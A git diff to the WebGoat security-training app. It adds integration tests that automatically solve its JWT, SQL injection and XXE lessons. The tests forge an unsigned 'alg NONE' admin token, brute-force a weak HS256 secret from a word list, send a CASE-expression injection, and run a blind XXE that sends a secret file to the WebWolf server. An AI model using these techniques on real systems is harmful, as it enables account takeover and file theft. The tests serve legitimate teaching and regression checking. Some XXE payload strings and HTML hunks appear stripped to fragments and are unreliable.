diff --git a/webgoat-container/src/main/resources/application-webgoat.properties b/webgoat-container/src/main/resources/application-webgoat.properties index ad5f3cbbb..3eb7b0474 100644 --- a/webgoat-container/src/main/resources/application-webgoat.properties +++ b/webgoat-container/src/main/resources/application-webgoat.properties @@ -12,7 +12,8 @@ server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat} server.ssl.enabled=${WEBGOAT_SSLENABLED:false} security.require-ssl=${WEBGOAT_SSLENABLED:false} -spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat +hsqldb.port=${WEBGOAT_HSQLPORT:9001} +spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat spring.jpa.hibernate.ddl-auto=update spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java index 9114fcad1..d5f0924ca 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java @@ -3,6 +3,7 @@ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.config.RestAssuredConfig; import io.restassured.config.SSLConfig; +import io.restassured.http.ContentType; import lombok.Getter; import org.hamcrest.CoreMatchers; import org.junit.After; @@ -26,7 +27,6 @@ public abstract class IntegrationTest { private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/"; private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/"; - //This also allows to test the application with HTTPS when outside testing option is used protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation()); @@ -41,16 +41,18 @@ public abstract class IntegrationTest { @BeforeClass public static void beforeAll() { - if (!started) { + + if (!started) { started = true; if (!isAlreadyRunning(WG_PORT)) { SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class) - .properties(Map.of("spring.config.name", "application-webgoat", "WEBGOAT_PORT", WG_PORT)); + .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT)); wgs.run(); + } if (!isAlreadyRunning(WW_PORT)) { SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class) - .properties(Map.of("spring.config.name", "application-webwolf", "WEBWOLF_PORT", WW_PORT)); + .properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT)); wws.run(); } } @@ -209,7 +211,7 @@ public abstract class IntegrationTest { .config(restConfig) .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/lessonoverview.mvc")) - .then() + .then() .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); Assert.assertThat(RestAssured.given() @@ -221,4 +223,20 @@ public abstract class IntegrationTest { .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); } + + public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { + Assert.assertThat( + RestAssured.given() + .when() + .config(restConfig) + .contentType(contentType) + .cookie("JSESSIONID", getWebGoatCookie()) + .body(body) + .post(url) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); + } + } + diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java new file mode 100644 index 000000000..07bc5b7b6 --- /dev/null +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java @@ -0,0 +1,140 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.security.InvalidKeyException; +import java.security.NoSuchAlgorithmException; +import java.time.Instant; +import java.util.Base64; +import java.util.Calendar; +import java.util.Date; + +import org.hamcrest.CoreMatchers; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.owasp.webgoat.plugin.JWTSecretKeyEndpoint; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; + +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.TextCodec; +import io.restassured.RestAssured; + +public class JWTLessonTest extends IntegrationTest { + + @Before + public void initTest() { + + } + + @Test + public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { + + startLesson("JWT"); + + resetVotes(); + + findPassword(); + + // checkResults("/JWT/"); + + } + + private String generateToken(String key) { + + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "WebGoat") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, key).compact(); + } + + private String getSecretToken(String token) { + for (String key : JWTSecretKeyEndpoint.SECRETS) { + try { + Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token); + } catch (JwtException e) { + continue; + } + return TextCodec.BASE64.encode(key); + } + return null; + } + + private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { + + String accessToken = RestAssured.given() + .when() + .config(restConfig) + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/JWT/secret/gettoken")) + .then() + .extract().response().asString(); + + String secret = getSecretToken(accessToken); + + Assert.assertThat( + RestAssured.given() + .when() + .config(restConfig) + .cookie("JSESSIONID", getWebGoatCookie()) + .formParam("token", generateToken(secret)) + .post(url("/WebGoat/JWT/secret")) + .then() + .log().all() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + + } + + private void resetVotes() throws IOException { + String accessToken = RestAssured.given() + .when() + .config(restConfig) + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/JWT/votings/login?user=Tom")) + .then() + .extract().cookie("access_token"); + + String header = accessToken.substring(0, accessToken.indexOf(".")); + header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); + + String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf(".")); + body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset()))); + + ObjectMapper mapper = new ObjectMapper(); + JsonNode headerNode = mapper.readTree(header); + headerNode = ((ObjectNode) headerNode).put("alg","NONE"); + + JsonNode bodyObject = mapper.readTree(body); + bodyObject = ((ObjectNode) bodyObject).put("admin","true"); + + String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) + .concat(".") + .concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) + .concat(".").replace("=", ""); + + Assert.assertThat( + RestAssured.given() + .when() + .config(restConfig) + .cookie("JSESSIONID", getWebGoatCookie()) + .cookie("access_token", replacedToken) + .post(url("/WebGoat/JWT/votings")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + +} diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java index d51af280c..d73f9128c 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SqlInjectionMitigationTest.java @@ -2,6 +2,9 @@ package org.owasp.webgoat; import org.junit.Test; +import io.restassured.RestAssured; +import io.restassured.http.ContentType; + import java.util.HashMap; import java.util.Map; @@ -33,7 +36,18 @@ public class SqlInjectionMitigationTest extends IntegrationTest { "}"); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true); - //checkResults(webGoatCookie, webgoatURL, "/SqlInjectionMitigations/"); + RestAssured.given() + .when().config(restConfig).cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)")) + .then() + .statusCode(200); + + params.clear(); + params.put("ip", "104.130.219.202"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true); + + checkResults("/SqlInjectionMitigations/"); } } diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java new file mode 100644 index 000000000..86f2eb56c --- /dev/null +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java @@ -0,0 +1,81 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +import org.junit.Test; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; + +public class XXETest extends IntegrationTest { + + private static final String xxe3 = "]>&xxe;test"; + private static final String xxe4 = "]>&xxe;test"; + private static final String dtd7 = "\">%all;"; + private static final String xxe7 = "%remote;]>test&send;"; + + private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat"); + private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver"); + + + @Test + public void runTests() throws IOException { + startLesson("XXE"); + + checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true); + + checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true); + + + + checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,""+getSecret()+"",true ); + + checkResults("xxe/"); + + } + + /** + * This performs the steps of the exercise before the secret can be committed in the final step. + * @return + * @throws IOException + */ + private String getSecret() throws IOException { + + //remove any left over DTD + Path webWolfFilePath = Paths.get(webwolfFileDir); + if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd"))); + } + String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt"); + String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); + + //upload DTD + RestAssured.given() + .when() + .config(restConfig) + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .multiPart("file", "blind.dtd", dtd7String.getBytes()) + .post(webWolfUrl("/WebWolf/fileupload")) + .then() + .extract().response().getBody().asString(); + + //upload attack + String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser()); + checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false ); + + //read results from WebWolf + String result = RestAssured.given() + .when() + .config(restConfig) + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33); + return result; + } + +} diff --git a/webgoat-integration-tests/src/test/resources/application-inttest.properties b/webgoat-integration-tests/src/test/resources/application-inttest.properties new file mode 100644 index 000000000..4286e914f --- /dev/null +++ b/webgoat-integration-tests/src/test/resources/application-inttest.properties @@ -0,0 +1,10 @@ +#In order to run tests a known temp directory is preferred +#that is why these values are used + +webgoat.user.directory=${user.dir}/target/.webgoat +webgoat.server.directory=${user.dir}/target/.webgoat +webwolf.fileserver.location=${user.dir}/target/webwolf-fileserver + +#database will get deleted for every mvn clean install +#as these extra properties are read by WebGoat and WebWolf the drop of the tables +#was not helpful. \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java index fd33b693f..f50fd4a6b 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java @@ -28,16 +28,24 @@ import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; + import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; +import java.time.Instant; +import java.util.Calendar; +import java.util.Date; import java.util.List; +import java.util.Random; /** * @author nbaars @@ -47,10 +55,26 @@ import java.util.List; @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) public class JWTSecretKeyEndpoint extends AssignmentEndpoint { - public static final String JWT_SECRET = TextCodec.BASE64.encode("victory"); + public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"}; + public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]); private static final String WEBGOAT_USER = "WebGoat"; private static final List expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); + @RequestMapping(path="/gettoken",produces=MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSecretToken() { + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact(); + } + @PostMapping("/JWT/secret") @ResponseBody public AttackResult login(@RequestParam String token) { @@ -69,6 +93,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint { } } } catch (Exception e) { + e.printStackTrace(); return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); } } diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index 9ba14748f..71775a15b 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -1,7 +1,16 @@ - +
+ +
+
@@ -24,7 +33,7 @@
@@ -78,6 +87,7 @@
+
@@ -285,5 +295,6 @@
+ \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js index 55f95b8a0..994ef7d3a 100644 --- a/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js @@ -76,7 +76,7 @@ function vote(title) { } else { $.ajax({ type: 'POST', - url: 'JWT/votings/' + title + url: 'JWT/votings/vote/' + title }).then( function () { getVotings(); diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys index d57483f2e..e08378c7d 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys @@ -6,8 +6,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin === Assignment -Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat. +Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat. -``` -eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM -``` \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java index 58a866a00..deb435413 100644 --- a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java @@ -73,7 +73,7 @@ public class JWTVotesEndpointTest extends LessonTest { String token = Jwts.builder().setClaims(claims).setHeaderParam("alg", "none").compact(); //Call the reset endpoint - mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings") .contentType(MediaType.APPLICATION_JSON) .cookie(new Cookie("access_token", token))) .andExpect(status().isOk()) @@ -82,7 +82,7 @@ public class JWTVotesEndpointTest extends LessonTest { @Test public void resetWithoutTokenShouldNotWork() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/reset") + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings") .contentType(MediaType.APPLICATION_JSON)) .andExpect(status().isOk()) .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); @@ -153,7 +153,7 @@ public class JWTVotesEndpointTest extends LessonTest { Object[] nodes = new ObjectMapper().readValue(result.getResponse().getContentAsString(), Object[].class); int currentNumberOfVotes = (int) findNodeByTitle(nodes, "Admin lost password").get("numberOfVotes"); - mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password") .cookie(cookie)) .andExpect(status().isAccepted()); result = mockMvc.perform(MockMvcRequestBuilders.get("/JWT/votings") @@ -176,7 +176,7 @@ public class JWTVotesEndpointTest extends LessonTest { @Test public void guestShouldNotBeAbleToVote() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password") .cookie(new Cookie("access_token", ""))) .andExpect(status().isUnauthorized()); } @@ -188,7 +188,7 @@ public class JWTVotesEndpointTest extends LessonTest { claims.put("user", "Intruder"); String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact(); - mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/Admin lost password") + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/votings/vote/Admin lost password") .cookie(new Cookie("access_token", token))) .andExpect(status().isUnauthorized()); } diff --git a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html b/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html index 92cc1eca7..577e58996 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html +++ b/webgoat-lessons/sql-injection/src/main/resources/html/SqlInjectionMitigations.html @@ -128,7 +128,7 @@
-
+
IP address webgoat-prd server:
diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java index 08f9929fa..48c7eb8f1 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java @@ -58,7 +58,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint { attackResult = failed().feedback("xxe.content.type.feedback.json").build(); } - if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) { + if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { String error = ""; try { Comment comment = comments.parseXml(commentStr);